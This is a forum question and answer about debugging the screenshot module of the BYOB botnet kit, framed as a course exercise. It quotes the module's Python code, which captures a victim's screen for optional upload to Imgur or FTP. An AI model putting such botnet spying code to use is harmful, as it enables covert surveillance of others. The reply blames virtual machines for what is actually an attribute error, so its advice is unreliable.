I am using the byob api for a course in my education, the teacher told us to use all the features of this api and to debug the problem if one of them doesn’t work. Taking screenshot of the victim is not working for me, after an analysis of the different modules I found the code of the screenshot function, but I could not find where the exact problem is.
Personally, I think the problem is the victim’s OS version (a newer kernel so it’s not vulnerable to this attack).
Here is the code for the screenshot function :
#!/usr/bin/python
# -*- coding: utf-8 -*-
'Screenshot (Build Your Own Botnet)'
# standard library
import base64
# packages
import mss
# modules
import util
# globals
command = True
packages = ['mss','util']
platforms = ['win32','linux2','darwin']
usage = 'screenshot [imgur/ftp] [option=value, ...]'
description = """
Capture a screenshot on the client and optionally upload anonymously to
Imgur or to a remote FTP server (default: save image on local host machine)
"""
# main
def run():
"""
Capture a screenshot
"""
try:
with mss.mss() as screen:
img = screen.grab(screen.monitors[0])
data = util.png(img)
return base64.b64encode(data)
except Exception as e:
return "{} error: {}".format(run.__name__, str(e))
The error :
screenshot error: 'module' object has no attribute 'run'
>Solution :
The screenshot module doesn’t always work properly on virtual machines because of limitations of the underlying library used to take the screenshots (mss).
Try running the client on a physical computer and trying the screenshot command again.